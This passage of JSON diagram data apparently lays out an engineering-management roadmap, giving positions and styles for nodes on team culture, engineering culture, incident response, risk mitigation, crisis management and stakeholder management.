Intelligence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7PBmYoSmIgZT21a2Ip3_S\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 279\n      },\n      \"positionAbsolute\": {\n        \"x\": 845.1408176626721,\n        \"y\": 1147.6284778153165\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UoHPKOKUHF2avXFUT5Vz4\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 470.1228868084611,\n        \"y\": 2052.1519386217687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Culture Building\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"xKFDpqkzQ6EvTDixM0_hi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 70,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 70\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 470.1228868084611,\n        \"y\": 2052.1519386217687\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 70\n      }\n    },\n    {\n      \"id\": \"ZuZuzwy-Frsn_PFJZVuAQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2246.3969047612836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Defining and Enforcing Values\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fYkKo8D35AHd8agr3YrIP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2246.3969047612836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8Nro6PTkEkNugYBjQfJ6O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2356.3969047612836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Traditions and Rituals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PAjGn7ryiu0Ix88X9QS0Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2356.3969047612836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vb3A4a-UpGTAEs-dVI66s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2411.3969047612836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Recognition programs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PAjGn7ryiu0Ix88X9QS0Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2411.3969047612836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LE3ykySYFL23KvuwxeBaR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2466.3969047612836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Social connections\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"g9FvFKC715tZL2ZGlPl3N\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2466.3969047612836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6iM0n4faMNhk4mezS9AcG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2301.3969047612836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inclusive environment creation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PAjGn7ryiu0Ix88X9QS0Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2301.3969047612836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"njqjYPMQK3nGYtqHzUylo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2318.9303418232553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Innovation fostering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fYkKo8D35AHd8agr3YrIP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2318.9303418232553\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aeD-kBZEr1NHFtAD8yHI_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2371.9303418232553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learning culture development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fYkKo8D35AHd8agr3YrIP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2371.9303418232553\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"74-7hDXaBVXYo6LJdgac_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2424.9303418232553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Knowledge sharing practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fYkKo8D35AHd8agr3YrIP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2424.9303418232553\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Cq0OFaWqSRathZO-bxBrP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2477.9303418232553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical excellence mindset\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fYkKo8D35AHd8agr3YrIP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2477.9303418232553\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fYkKo8D35AHd8agr3YrIP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2530.9303418232553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Blameless Post-mortems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PAjGn7ryiu0Ix88X9QS0Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 850.2330251404354,\n        \"y\": 2530.9303418232553\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g9FvFKC715tZL2ZGlPl3N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2521.3969047612836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bias Recognition / Mitigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PAjGn7ryiu0Ix88X9QS0Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 461.6228868084611,\n        \"y\": 2521.3969047612836\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xaeb67Nqdi0kwvehQUYeJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2706.996177520253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Emergency protocols\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2706.996177520253\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LQ3YfAgJ4UaDgtnN-cMht\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2759.996177520253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"War Room Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2759.996177520253\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"irEwTIubCjORnlH27QpEo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2812.996177520253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2812.996177520253\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8zyK34SwHry2lrWchw0KZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2918.996177520253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Post-incident analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2918.996177520253\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2fHcb1dAnf34APCAAlwnR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2865.996177520253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Service Recovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1229.6643160951594,\n        \"y\": 2865.996177520253\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FfWUy7E38KoMmZ1PBCQfV\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1283.6643160951594,\n        \"y\": 2662.785423938278\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Incident Response\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1283.6643160951594,\n        \"y\": 2662.785423938278\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2RwpGPegD2GyiiV6SVbbM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2708.674790040006\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Contingency planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2708.674790040006\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KOTzJ8e7mc0wmF46vrj3I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2761.674790040006\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Disaster recovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2761.674790040006\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v6N7BH0B55gX0oNXb55D7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2814.674790040006\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Business continuity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2814.674790040006\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FNp4-RgPvfC76pJKjX56a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2867.674790040006\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Security incident handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2867.674790040006\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kQG_wk66-51dA4Ly9ivjM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2920.674790040006\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Production issues management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 849.2611199405385,\n        \"y\": 2920.674790040006\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9Dj-j03tywSGDU4yYKBMg\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 928.7611199405385,\n        \"y\": 2659.4824838842405\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Mitigation\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 928.7611199405385,\n        \"y\": 2659.4824838842405\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"bZ81ie09XsQw-YD17nBQ_\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1232.32921857082,\n        \"y\": 2375.3969047612836\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Crisis Management\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"xKFDpqkzQ6EvTDixM0_hi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 73,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 73\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1232.32921857082,\n        \"y\": 2375.3969047612836\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"CpCjmOpNxHu0j08qz_YJ5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 905.2330251404354,\n        \"y\": 2276.7287736045664\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Engineering Culture\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"8_68edYBsrJBC1RdUVsnu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 905.2330251404354,\n        \"y\": 2276.7287736045664\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"uMaNuJ9z5MFbWmyw8xENb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 542.6228868084611,\n        \"y\": 2195.4137236781703\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Culture\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"CpCjmOpNxHu0j08qz_YJ5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 542.6228868084611,\n        \"y\": 2195.4137236781703\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"mIUx8zAHWyPWPGvxuTK4y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2716.293471068503\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Contingency planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2RwpGPegD2GyiiV6SVbbM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2716.293471068503\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nnoVA8W70hrNDxN3XQCVL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2769.293471068503\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Disaster recovery\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KOTzJ8e7mc0wmF46vrj3I\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2769.293471068503\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FwK-B7jRbBXVnuY9JxI1w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2822.293471068503\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Business continuity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"v6N7BH0B55gX0oNXb55D7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2822.293471068503\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QFhhOgwz_bgZgOfKFg5XA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2875.293471068503\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Security incident handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FNp4-RgPvfC76pJKjX56a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2875.293471068503\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tmY4Ktu6luFg5wKylJW76\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2928.293471068503\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Production issues management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kQG_wk66-51dA4Ly9ivjM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 289,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 455.2918356340306,\n        \"y\": 2928.293471068503\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vh1_v27lStdnRPwpY3ZPv\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 537.7918356340306,\n        \"y\": 2668.199169006423\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Team Support\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"9Dj-j03tywSGDU4yYKBMg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 537.7918356340306,\n        \"y\": 2668.199169006423\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"xKFDpqkzQ6EvTDixM0_hi\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 423.2918356340306,\n        \"y\": 3042.724082339736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Management\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"X_nhWY6Veipg2OWISeJEa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 353,\n      \"height\": 61,\n      \"style\": {\n        \"width\": 353,\n        \"height\": 61\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 423.2918356340306,\n        \"y\": 3042.724082339736\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 353,\n        \"height\": 61\n      }\n    },\n    {\n      \"id\": \"7sz1w4O4pKfoTBgTwpm9P\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1203.5111243623878,\n        \"y\": 3440.0727502572645\n      },\n      \"width\": 316,\n      \"height\": 334,\n      \"style\": {\n        \"width\": 316,\n        \"height\": 334\n      },\n      \"selected\": true,\n      \"data\": {\n        